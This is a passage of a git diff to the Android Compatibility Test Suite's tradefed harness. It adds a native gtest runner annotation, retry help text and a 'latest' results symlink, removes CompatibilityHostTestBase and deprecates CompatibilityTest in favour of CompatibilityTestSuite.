+ TargetLibrary library = (TargetLibrary) testClass.getAnnotation(TargetLibrary.class);
+ if (library == null) {
+ throw new IllegalStateException("Missing required @TargetLibrary annotation");
+ }
+ System.loadLibrary(library.value());
+ mDescription = Description.createSuiteDescription(testClass);
+ nInitialize(mDescription);
+ }
+
+ @Override
+ public Description getDescription() {
+ return mDescription;
+ }
+
+ @Override
+ public void run(RunNotifier notifier) {
+ nRun(notifier);
+ }
+
+ private static native void nInitialize(Description description);
+ private static native void nRun(RunNotifier notifier);
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
similarity index 62%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
index 578d7e5..23bc53d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
@@ -14,10 +14,17 @@
* limitations under the License.
*/
-package android.server.cts;
+package com.android.gtestrunner;
-import android.app.Activity;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.TYPE)
+@Inherited
+public @interface TargetLibrary {
+ String value();
}
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 9c857f0..883b439 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -17,7 +17,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.compatibility.common">
+
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
<application>
<uses-library android:name="android.test.runner" />
<activity android:name="com.android.compatibility.common.deviceinfo.TestDeviceInfo" />
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 50d1c3a..48ed864 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -16,6 +16,7 @@
package com.android.compatibility.common.tradefed.build;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.IDeviceBuildInfo;
import com.android.tradefed.build.IFolderBuildInfo;
import com.android.tradefed.build.VersionedFile;
import com.android.tradefed.util.FileUtil;
@@ -232,18 +233,6 @@
}
/**
- * @return a {@link File} representing the directory to store screenshots taken while testing.
- * @throws FileNotFoundException if the directory structure is not valid.
- */
- public File getScreenshotsDir() throws FileNotFoundException {
- File screenshotsDir = new File(getResultDir(), "screenshots");
- if (!screenshotsDir.exists()) {
- screenshotsDir.mkdirs();
- }
- return screenshotsDir;
- }
-
- /**
* @return a {@link File} representing the test modules directory.
* @throws FileNotFoundException if the directory structure is not valid.
*/
@@ -264,6 +253,12 @@
}
if (testsDir == null) {
+ if (mBuildInfo instanceof IDeviceBuildInfo) {
+ testsDir = ((IDeviceBuildInfo) mBuildInfo).getTestsDir();
+ }
+ }
+
+ if (testsDir == null) {
String altTestsDir = System.getenv().get(ALT_HOST_TESTCASE_DIR);
if (altTestsDir != null) {
testsDir = new File(altTestsDir);
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 32e6197..fe29c7f 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -195,7 +195,12 @@
"\t\t\t--screenshot-on-failure: Capture a screenshot when a test fails"
+ LINE_SEPARATOR +
"\t\t\t--shard-count <shards>: Shards a run into the given number of independent " +
- "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR;
+ "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR +
+ "\t ----- In order to retry a previous run -----" + LINE_SEPARATOR +
+ "\tretry --retry <session id to retry> [--retry-type <FAILED | NOT_EXECUTED>]"
+ + LINE_SEPARATOR +
+ "\t\tWithout --retry-type, retry will run both FAIL and NOT_EXECUTED tests"
+ + LINE_SEPARATOR;
commandHelp.put(RUN_PATTERN, combinedRunHelp);
commandHelp.put(ADD_PATTERN, String.format(
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 51d59a1..51f8c06 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -16,7 +16,8 @@
package com.android.compatibility.common.tradefed.result;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryType;
import com.android.compatibility.common.util.ChecksumReporter;
import com.android.compatibility.common.util.ICaseResult;
@@ -38,6 +39,7 @@
import com.android.tradefed.config.OptionCopier;
import com.android.tradefed.invoker.IInvocationContext;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.FileInputStreamSource;
import com.android.tradefed.result.ILogSaver;
import com.android.tradefed.result.ILogSaverListener;
import com.android.tradefed.result.IShardableListener;
@@ -48,6 +50,7 @@
import com.android.tradefed.result.LogFile;
import com.android.tradefed.result.LogFileSaver;
import com.android.tradefed.result.TestSummary;
+import com.android.tradefed.result.suite.SuiteResultReporter;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.StreamUtil;
import com.android.tradefed.util.TimeUtil;
@@ -62,6 +65,8 @@
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
@@ -79,10 +84,12 @@
public class ResultReporter implements ILogSaverListener, ITestInvocationListener,
ITestSummaryListener, IShardableListener {
+ public static final String INCLUDE_HTML_IN_ZIP = "html-in-zip";
private static final String UNKNOWN_DEVICE = "unknown_device";
private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
private static final String CTS_PREFIX = "cts:";
private static final String BUILD_INFO = CTS_PREFIX + "build_";
+ private static final String LATEST_LINK_NAME = "latest";
public static final String BUILD_BRAND = "build_brand";
public static final String BUILD_DEVICE = "build_device";
@@ -99,14 +106,14 @@
ResultHandler.FAILURE_REPORT_NAME,
"diffs");
- @Option(name = CompatibilityTest.RETRY_OPTION,
+ @Option(name = RetryFactoryTest.RETRY_OPTION,
shortName = 'r',
description = "retry a previous session.",
importance = Importance.IF_UNSET)
private Integer mRetrySessionId = null;
- @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
- description = "used with " + CompatibilityTest.RETRY_OPTION
+ @Option(name = RetryFactoryTest.RETRY_TYPE_OPTION,
+ description = "used with " + RetryFactoryTest.RETRY_OPTION
+ ", retry tests of a certain status. Possible values include \"failed\", "
+ "\"not_executed\", and \"custom\".",
importance = Importance.IF_UNSET)
@@ -127,6 +134,10 @@
@Option(name = "compress-logs", description = "Whether logs will be saved with compression")
private boolean mCompressLogs = true;
+ @Option(name = INCLUDE_HTML_IN_ZIP,
+ description = "Whether failure summary report is included in the zip fie.")
+ private boolean mIncludeHtml = false;
+
private CompatibilityBuildHelper mBuildHelper;
private File mResultDir = null;
private File mLogDir = null;
@@ -448,10 +459,24 @@
*/
@Override
public void putSummary(List<TestSummary> summaries) {
- // This is safe to be invoked on either the master or a shard ResultReporter,
- // but the value added to the report will be that of the master ResultReporter.
- if (summaries.size() > 0) {
- mReferenceUrl = summaries.get(0).getSummary().getString();
+ for (TestSummary summary : summaries) {
+ // If one summary is from SuiteResultReporter, log it as an extra file.
+ if (SuiteResultReporter.SUITE_REPORTER_SOURCE.equals(summary.getSource())) {
+ File summaryFile = null;
+ try {
+ summaryFile = FileUtil.createTempFile("summary", ".txt");
+ FileUtil.writeToFile(summary.getSummary().getString(), summaryFile);
+ try (InputStreamSource stream = new FileInputStreamSource(summaryFile)) {
+ testLog("summary", LogDataType.TEXT, stream);
+ }
+ } catch (IOException e) {
+ CLog.e(e);
+ } finally {
+ FileUtil.deleteFile(summaryFile);
+ }
+ } else if (mReferenceUrl == null && summary.getSummary().getString() != null) {
+ mReferenceUrl = summary.getSummary().getString();
+ }
}
}
@@ -520,10 +545,17 @@
copyRetryFiles(ResultHandler.getResultDirectory(
mBuildHelper.getResultsDir(), mRetrySessionId), mResultDir);
}
+ File failureReport = null;
+ if (mIncludeHtml) {
+ // Create the html report before the zip file.
+ failureReport = ResultHandler.createFailureReport(resultFile);
+ }
File zippedResults = zipResults(mResultDir);
- // Create failure report after zip file so extra data is not uploaded
- File failureReport = ResultHandler.createFailureReport(resultFile);
- if (failureReport.exists()) {
+ if (!mIncludeHtml) {
+ // Create failure report after zip file so extra data is not uploaded
+ failureReport = ResultHandler.createFailureReport(resultFile);
+ }
+ if (failureReport != null && failureReport.exists()) {
info("Test Result: %s", failureReport.getCanonicalPath());
} else {
info("Test Result: %s", resultFile.getCanonicalPath());
@@ -531,6 +563,16 @@
info("Test Logs: %s", mLogDir.getCanonicalPath());
debug("Full Result: %s", zippedResults.getCanonicalPath());
+ Path latestLink = createLatestLinkDirectory(mResultDir.toPath());
+ if (latestLink != null) {
+ info("Latest results link: " + latestLink.toAbsolutePath());
+ }
+
+ latestLink = createLatestLinkDirectory(mLogDir.toPath());
+ if (latestLink != null) {
+ info("Latest logs link: " + latestLink.toAbsolutePath());
+ }
+
saveLog(resultFile, zippedResults);
uploadResult(resultFile);
@@ -547,6 +589,30 @@
moduleProgress);
}
+ private Path createLatestLinkDirectory(Path directory) {
+ Path link = null;
+
+ Path parent = directory.getParent();
+
+ if (parent != null) {
+ link = parent.resolve(LATEST_LINK_NAME);
+ try {
+ // if latest already exists, we have to remove it before creating
+ Files.deleteIfExists(link);
+ Files.createSymbolicLink(link, directory);
+ } catch (IOException ioe) {
+ CLog.e("Exception while attempting to create 'latest' link to: [%s]",
+ directory);
+ CLog.e(ioe);
+ return null;
+ } catch (UnsupportedOperationException uoe) {
+ CLog.e("Failed to create 'latest' symbolic link - unsupported operation");
+ return null;
+ }
+ }
+ return link;
+ }
+
/**
* {@inheritDoc}
*/
@@ -781,11 +847,11 @@
}
return !(RetryType.FAILED.equals(mRetryType)
|| RetryType.CUSTOM.equals(mRetryType)
- || args.contains(CompatibilityTest.INCLUDE_FILTER_OPTION)
- || args.contains(CompatibilityTest.EXCLUDE_FILTER_OPTION)
- || args.contains(CompatibilityTest.SUBPLAN_OPTION)
+ || args.contains(CompatibilityTestSuite.INCLUDE_FILTER_OPTION)
+ || args.contains(CompatibilityTestSuite.EXCLUDE_FILTER_OPTION)
+ || args.contains(CompatibilityTestSuite.SUBPLAN_OPTION)
|| args.matches(String.format(".* (-%s|--%s) .*",
- CompatibilityTest.TEST_OPTION_SHORT_NAME, CompatibilityTest.TEST_OPTION)));
+ CompatibilityTestSuite.TEST_OPTION_SHORT_NAME, CompatibilityTestSuite.TEST_OPTION)));
}
/**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
index 9c87a75..87f2436 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
@@ -16,9 +16,9 @@
package com.android.compatibility.common.tradefed.result;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.ISubPlan;
import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.OptionHelper;
import com.android.compatibility.common.util.ICaseResult;
import com.android.compatibility.common.util.IInvocationResult;
@@ -33,8 +33,8 @@
import com.android.tradefed.config.Option;
import com.android.tradefed.config.Option.Importance;
import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
import com.android.tradefed.util.StreamUtil;
+import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
import com.google.common.annotations.VisibleForTesting;
@@ -43,13 +43,13 @@
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
-import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStream;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
-import java.util.HashSet;
import java.util.HashMap;
+import java.util.HashSet;
import java.util.Map;
import java.util.Set;
@@ -90,32 +90,32 @@
importance=Importance.IF_UNSET)
private Set<String> mResultTypes = new HashSet<String>();
- @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.INCLUDE_FILTER_OPTION,
description = "the include module filters to apply.",
importance = Importance.NEVER)
private Set<String> mIncludeFilters = new HashSet<String>();
- @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.EXCLUDE_FILTER_OPTION,
description = "the exclude module filters to apply.",
importance = Importance.NEVER)
private Set<String> mExcludeFilters = new HashSet<String>();
- @Option(name = CompatibilityTest.MODULE_OPTION, shortName = 'm',
+ @Option(name = CompatibilityTestSuite.MODULE_OPTION, shortName = 'm',
description = "the test module to run.",
importance = Importance.NEVER)
private String mModuleName = null;
- @Option(name = CompatibilityTest.TEST_OPTION, shortName = 't',
+ @Option(name = CompatibilityTestSuite.TEST_OPTION, shortName = 't',
description = "the test to run.",
importance = Importance.NEVER)
private String mTestName = null;
- @Option(name = CompatibilityTest.ABI_OPTION, shortName = 'a',
+ @Option(name = CompatibilityTestSuite.ABI_OPTION, shortName = 'a',
description = "the abi to test.",
importance = Importance.NEVER)
private String mAbiName = null;
- @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+ @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
description = "the subplan used in the previous session",
importance = Importance.NEVER)
private String mLastSubPlan;
@@ -159,7 +159,7 @@
throw new RuntimeException(
String.format("Unable to find or parse subplan %s", name), e);
} finally {
- StreamUtil.closeStream(subPlanInputStream);
+ StreamUtil.close(subPlanInputStream);
}
}
@@ -207,7 +207,7 @@
* Create a subplan derived from a result.
* <p/>
* {@link Option} values must be set before this is called.
- * @param build
+ * @param buildHelper
* @return subplan
* @throws ConfigurationException
*/
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
index 7ebd717..749be97 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -29,13 +29,14 @@
import com.android.compatibility.common.util.BusinessLogicFactory;
import com.android.compatibility.common.util.BusinessLogicHostExecutor;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import java.io.File;
/**
* Host-side base class for tests leveraging the Business Logic service.
*/
-public class BusinessLogicHostTestBase extends CompatibilityHostTestBase {
+public class BusinessLogicHostTestBase extends BaseHostJUnit4Test {
/* String marking the beginning of the parameter in a test name */
private static final String PARAM_START = "[";
@@ -51,7 +52,7 @@
// Business logic must be retrieved in this @Before method, since the build info contains
// the location of the business logic file and cannot be referenced from a static context
if (mBusinessLogic == null) {
- CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuild);
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(getBuild());
File businessLogicFile = helper.getBusinessLogicHostFile();
if (businessLogicFile != null && businessLogicFile.canRead()) {
mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
@@ -71,7 +72,7 @@
if (mBusinessLogic.hasLogicFor(testName)) {
CLog.i("Applying business logic for test case: ", testName);
BusinessLogicExecutor executor = new BusinessLogicHostExecutor(getDevice(),
- mBuild, this);
+ getBuild(), this);
mBusinessLogic.applyLogicFor(testName, executor);
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
deleted file mode 100644
index 1222a1f..0000000
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
+++ /dev/null
@@ -1,249 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.testtype;
-
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import com.android.annotations.Nullable;
-import com.android.annotations.VisibleForTesting;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.util.AbiUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.internal.AssumptionViolatedException;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Compatibility host test base class for JUnit4 tests. Enables host-side tests written in JUnit4
- * to access build and ABI information, as well as a reference to the testing device. The class
- * includes methods to install and uninstall test packages, as well as methods to run device-side
- * tests and retrieve their results.
- */
-public class CompatibilityHostTestBase implements IAbiReceiver, IBuildReceiver, IDeviceTest {
-
- protected static final String AJUR = "android.support.test.runner.AndroidJUnitRunner";
-
- /** The build will be used. */
- protected IBuildInfo mBuild;
-
- /** The ABI to use. */
- protected IAbi mAbi;
-
- /** A reference to the device under test. */
- protected ITestDevice mDevice;
-
- /** The test runner used for test apps */
- private String mRunner;
-
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- @Override
- public IAbi getAbi() {
- return mAbi;
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- // Get the build, this is used to access the APK.
- mBuild = buildInfo;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Before
- public void baseSetUp() throws Exception {
- mRunner = AJUR;
- }
-
- /**
- * Set the runner name
- * @param runner of the device test runner
- */
- protected void setRunner(String runner) {
- mRunner = runner;
- }
-
- /**
- * Get the runner name
- * @return name of the device test runner
- */
- protected String getRunner() {
- return mRunner;
- }
-
- /**
- * Installs a package on the device
- * @param fileName the name of the file to install
- * @param options optional extra arguments to pass. See 'adb shell pm install --help' for
- * available options
- * @throws FileNotFoundException if file with filename cannot be found
- * @throws DeviceNotAvailableException
- */
- protected void installPackage(String fileName, String... options)
- throws FileNotFoundException, DeviceNotAvailableException {
-
- final List<String> optList = new ArrayList<>(Arrays.asList(options));
- optList.add(AbiUtils.createAbiFlag(mAbi.getName()));
- options = optList.toArray(new String[optList.size()]);
-
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
- File testFile = buildHelper.getTestFile(fileName);
- // Install the APK on the device.
- String installResult = mDevice.installPackage(testFile, true, options);
-
- assertNull(String.format("Failed to install %s, Reason: %s", fileName, installResult),
- installResult);
- }
-
- /**
- * Uninstalls a package on the device
- * @param pkgName the Android package to uninstall
- * @return a {@link String} with an error code, or <code>null</code> if success
- * @throws DeviceNotAvailableException
- */
- protected String uninstallPackage(String pkgName) throws DeviceNotAvailableException {
- return mDevice.uninstallPackage(pkgName);
- }
-
- /**
- * Checks if a package of a given name is installed on the device
- * @param pkg the name of the package
- * @return true if the package is found on the device
- * @throws DeviceNotAvailableException
- */
- protected boolean isPackageInstalled(String pkg) throws DeviceNotAvailableException {
- for (String installedPackage : mDevice.getInstalledPackageNames()) {
- if (pkg.equals(installedPackage)) {
- return true;
- }
- }
- return false;
- }
-
- private void printTestResult(TestRunResult runResult) {
- for (Map.Entry<TestIdentifier, TestResult> testEntry :
- runResult.getTestResults().entrySet()) {
- TestResult testResult = testEntry.getValue();
- TestStatus testStatus = testResult.getStatus();
- CLog.logAndDisplay(LogLevel.INFO,
- "Test " + testEntry.getKey() + ": " + testStatus);
- if (testStatus != TestStatus.PASSED && testStatus != TestStatus.ASSUMPTION_FAILURE) {
- CLog.logAndDisplay(LogLevel.WARN, testResult.getStackTrace());
- }
- }
- }
-
- /**
- * Runs tests of a given package on the device and reports success.
- * @param pkgName the name of the package containing tests
- * @param testClassName the class from which tests should be collected. Tests are collected
- * from all test classes in the package if null
- * @return true if at least once test runs and there are no failures
- * @throws AssertionError if device fails to run instrumentation tests
- * @throws AssumptionViolatedException if each device test fails an assumption
- * @throws DeviceNotAvailableException
- */
- protected boolean runDeviceTests(String pkgName, @Nullable String testClassName)
- throws DeviceNotAvailableException {
- return runDeviceTests(pkgName, testClassName, null /*testMethodName*/);
- }
-
- /**
- * Runs tests of a given package on the device and reports success.
- * @param pkgName the name of the package containing tests
- * @param testClassName the class from which tests should be collected. Tests are collected
- * from all test classes in the package if null
- * @param testMethodName the test method to run. All tests from the class or package are run
- * if null
- * @return true if at least once test runs and there are no failures
- * @throws AssertionError if device fails to run instrumentation tests
- * @throws AssumptionViolatedException if each device test fails an assumption
- * @throws DeviceNotAvailableException
- */
- protected boolean runDeviceTests(String pkgName, @Nullable String testClassName,
- @Nullable String testMethodName)
- throws DeviceNotAvailableException {
- TestRunResult runResult = doRunTests(pkgName, testClassName, testMethodName);
- printTestResult(runResult);
- // assume not all tests have skipped (and rethrow AssumptionViolatedException if so)
- Assume.assumeTrue(runResult.getNumTests() != runResult.getNumTestsInState(
- TestStatus.ASSUMPTION_FAILURE));
- return !runResult.hasFailedTests() && runResult.getNumTests() > 0;
- }
-
- /** Helper method to run tests and return the listener that collected the results. */
- private TestRunResult doRunTests(
- String pkgName, String testClassName,
- String testMethodName) throws DeviceNotAvailableException {
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, mRunner, mDevice.getIDevice());
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
- CollectingTestListener listener = createCollectingListener();
- assertTrue(mDevice.runInstrumentationTests(testRunner, listener));
- return listener.getCurrentRunResults();
- }
-
- @VisibleForTesting
- protected CollectingTestListener createCollectingListener() {
- return new CollectingTestListener();
- }
-}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index 97fddea..a8c016c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -20,6 +20,7 @@
import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
import com.android.compatibility.common.tradefed.result.SubPlanHelper;
import com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.compatibility.common.tradefed.util.RetryType;
import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtil;
@@ -79,8 +80,10 @@
import java.util.concurrent.TimeUnit;
/**
- * A Test for running Compatibility Suites
+ * A Test for running Compatibility Suites.
+ * @deprecated use {@link CompatibilityTestSuite} instead.
*/
+@Deprecated
@OptionClass(alias = "compatibility")
public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver,
IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector,
@@ -473,7 +476,16 @@
moduleContext.addInvocationAttribute(IModuleDef.MODULE_ABI,
module.getAbi().getName());
mInvocationContext.setModuleInvocationContext(moduleContext);
+ // Populate the module context with devices and builds
+ for (String deviceName : mInvocationContext.getDeviceConfigNames()) {
+ moduleContext.addAllocatedDevice(
+ deviceName, mInvocationContext.getDevice(deviceName));
+ moduleContext.addDeviceBuildInfo(
+ deviceName, mInvocationContext.getBuildInfo(deviceName));
+ }
+ module.setInvocationContext(moduleContext);
try {
+ listener.testModuleStarted(moduleContext);
module.run(listener);
} catch (DeviceUnresponsiveException due) {
// being able to catch a DeviceUnresponsiveException here implies that recovery
@@ -490,6 +502,7 @@
// clear out module invocation context since we are now done with module
// execution
mInvocationContext.setModuleInvocationContext(null);
+ listener.testModuleEnded();
}
long duration = System.currentTimeMillis() - start;
long expected = module.getRuntimeHint();
@@ -724,9 +737,7 @@
void setupFilters() throws DeviceNotAvailableException {
if (mRetrySessionId != null) {
// Load the invocation result
- RetryFilterHelper helper = new RetryFilterHelper(mBuildHelper, mRetrySessionId,
- mSubPlan, mIncludeFilters, mExcludeFilters, mAbiName, mModuleName, mTestName,
- mRetryType);
+ RetryFilterHelper helper = createRetryFilterHelper(mRetrySessionId);
helper.validateBuildFingerprint(mDevice);
helper.setCommandLineOptionsFor(this);
helper.populateRetryFilters();
@@ -767,6 +778,13 @@
}
}
+ /* Creates a new {@link RetryFilterHelper} from attributes of this object. */
+ protected RetryFilterHelper createRetryFilterHelper(Integer retrySessionId) {
+ return new RetryFilterHelper(mBuildHelper, retrySessionId,
+ mSubPlan, mIncludeFilters, mExcludeFilters, mAbiName, mModuleName, mTestName,
+ mRetryType);
+ }
+
/* Helper method designed to remove filters in a list not applicable to the given module */
private static void cleanFilters(Set<String> filters, String module) {
Set<String> cleanedFilters = new HashSet<String>();
@@ -860,6 +878,14 @@
public void setInvocationContext(IInvocationContext invocationContext) {
mInvocationContext = invocationContext;
}
+
+ /**
+ * @return the mSubPlan
+ */
+ protected String getSubPlan() {
+ return mSubPlan;
+ }
+
/**
* @return the mIncludeFilters
*/
@@ -875,6 +901,20 @@
}
/**
+ * @return the mModuleName
+ */
+ protected String getModuleName() {
+ return mModuleName;
+ }
+
+ /**
+ * @return the mTestName
+ */
+ protected String getTestName() {
+ return mTestName;
+ }
+
+ /**
* @return the mModuleArgs
*/
protected List<String> getModuleArgs() {
@@ -889,6 +929,20 @@
}
/**
+ * @return the mRetryType
+ */
+ protected RetryType getRetryType() {
+ return mRetryType;
+ }
+
+ /**
+ * @return the mAbiName
+ */
+ protected String getAbiName() {
+ return mAbiName;
+ }
+
+ /**
* @return the mDeviceTokens
*/
protected List<String> getDeviceTokens() {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
index 7a2c44d..51b33a1 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
@@ -21,6 +21,7 @@
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IRuntimeHintProvider;
import com.android.tradefed.testtype.ITestCollector;
@@ -33,7 +34,7 @@
* Container for Compatibility test info.
*/
public interface IModuleDef extends Comparable<IModuleDef>, IBuildReceiver, IDeviceTest,
- IRemoteTest, IRuntimeHintProvider, ITestCollector {
+ IRemoteTest, IRuntimeHintProvider, ITestCollector, IInvocationContextReceiver {
/** key names used for saving module info into {@link IInvocationContext} */
// This currently references ModuleDefinition so that there's only once source for String
